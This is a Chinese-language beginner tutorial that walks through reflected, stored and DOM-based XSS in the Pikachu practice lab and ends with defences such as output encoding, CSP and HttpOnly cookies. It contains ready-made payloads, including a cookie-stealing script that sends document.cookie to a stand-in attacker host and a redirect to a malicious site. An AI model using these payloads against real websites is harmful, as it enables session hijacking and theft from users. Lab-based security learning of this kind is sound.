零基础实战：用Pikachu靶场玩转XSS攻击全流程
第一次接触Web安全的新手们，往往对XSS攻击既好奇又畏惧。那些看似简单的弹窗背后，隐藏着怎样的原理？攻击者如何通过几行代码窃取用户的Cookie？本文将带你走进Pikachu靶场，用最直观的方式体验XSS攻击的全过程。无需任何基础，只需跟着步骤操作，你就能亲手复现这些攻击场景，真正理解为什么XSS被称为Web安全的"头号公敌"。
1. 环境准备与基础认知
在开始实战前，我们需要先搭建好实验环境。Pikachu靶场是一个专为Web安全学习设计的漏洞演练平台，内置了各种常见漏洞场景，特别适合新手入门。
环境搭建步骤：
- 下载Pikachu靶场源码（可从GitHub官方仓库获取）
- 配置本地PHP环境（推荐使用XAMPP或WAMP）
- 将Pikachu源码解压到Web服务器根目录
- 访问
http://localhost/pikachu完成初始化
提示：确保你的测试环境与生产网络隔离，所有实验仅在本地进行
XSS（跨站脚本攻击）本质上是一种代码注入技术。攻击者通过在网页中注入恶意脚本，当其他用户浏览该页面时，这些脚本就会在用户浏览器中执行。根据攻击持久性，XSS主要分为三类：
| 类型 | 特点 | 危害周期 |
|---|---|---|
| 反射型 | 非持久化，需要诱骗用户点击特定链接 | 一次性 |
| 存储型 | 恶意代码存储在服务器数据库中 | 长期持续 |
| DOM型 | 完全在客户端执行，不经过服务器 | 取决于用户访问 |
理解这些基础概念后，我们就可以开始真正的实战了。
2. 反射型XSS：从弹窗开始
反射型XSS是最常见的攻击形式，也是新手最好的入门点。在Pikachu靶场中，找到"反射型XSS(get)"模块，你会看到一个简单的NBA球员偏好调查表单。
经典弹窗攻击复现：
<script>alert('XSS攻击成功!')</script>将这段代码输入到表单中提交，你会立即看到一个弹窗。这就是最基础的XSS攻击证明。
但实际攻击中，攻击者不会手动让受害者输入代码，而是构造恶意链接：
http://localhost/pikachu/vul/xss/xss_reflected_get.php?message=<script>alert('你被攻击了!')</script>&submit=submit当用户点击这个链接时，恶意脚本就会在其浏览器中执行。更危险的payload可以是窃取Cookie：
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>关键知识点：
- 反射型XSS依赖用户点击特定链接
- 攻击代码不会存储在服务器上
- 常见于搜索框、错误消息等即时反馈场景
3. 存储型XSS：持久化威胁
存储型XSS的危害更大，因为恶意代码会被保存在服务器数据库中，影响所有访问该页面的用户。在Pikachu靶场中，"存储型XSS"模块模拟了一个留言板功能。
实现持久化攻击的步骤：
- 在留言板中输入以下payload：
<script>alert('所有访问者都会看到这个弹窗!')</script>- 提交后刷新页面，弹窗依然会出现
- 用其他设备或浏览器访问该页面，攻击依然有效
更危险的攻击方式是页面重定向：
<script>window.location.href="http://恶意网站.com"</script>存储型XSS的典型应用场景：
- 论坛留言
- 用户评论
- 个人资料页面
- 任何用户生成内容区域
注意：在实际测试中，现代浏览器通常有XSS过滤器，可能需要禁用防护功能才能看到完整效果
4. DOM型XSS：纯客户端的艺术
DOM型XSS是最隐蔽的一种形式，它完全在客户端发生，不经过服务器处理。Pikachu靶场的"DOM型XSS"模块展示了这种攻击的典型场景。
DOM型XSS复现过程：
- 查看页面源代码，分析DOM操作逻辑
- 发现用户输入被直接插入到DOM中
- 构造特殊payload利用这一特性：
'><img src="#" onmouseover="alert('XSS')">- 当鼠标悬停在图片上时，攻击触发
DOM型XSS的独特之处在于：
- 服务器响应中看不到恶意代码
- 完全由客户端JavaScript动态生成
- 传统的服务器端过滤可能失效
常用DOM型XSS payload：
- 事件处理器：
onclick,onmouseover,onerror - JavaScript伪协议：
javascript:alert(1) - SVG标签：
<svg/onload="alert(1)">
5. 高级攻击手法与防御思路
掌握了基础攻击方法后，我们可以尝试更高级的利用技巧。Pikachu靶场提供了多种标签和事件的测试场景。
标签与事件组合利用：
<!-- 图片加载失败时触发 --> <img src="x" onerror=alert(1)> <!-- 视频标签利用 --> <video src=x onerror=prompt(1);> <!-- 利用iframe嵌入恶意代码 --> <iframe src="javascript:alert('XSS')"></iframe>现代防御措施：
- 输入过滤：对用户提交的内容进行严格校验
- 输出编码：在输出到页面时进行HTML实体编码
- CSP（内容安全策略）：限制脚本执行来源
- HttpOnly Cookie：防止JavaScript读取敏感Cookie
防御示例（PHP）：
// 输出编码 htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8'); // 设置HttpOnly Cookie setcookie("sessionid", "value", 0, "/", "", false, true);在实际开发中，应该采用多层防御策略，因为单一措施往往容易被绕过。理解攻击原理是构建有效防御的第一步，这也是为什么安全学习需要从攻击者角度出发。
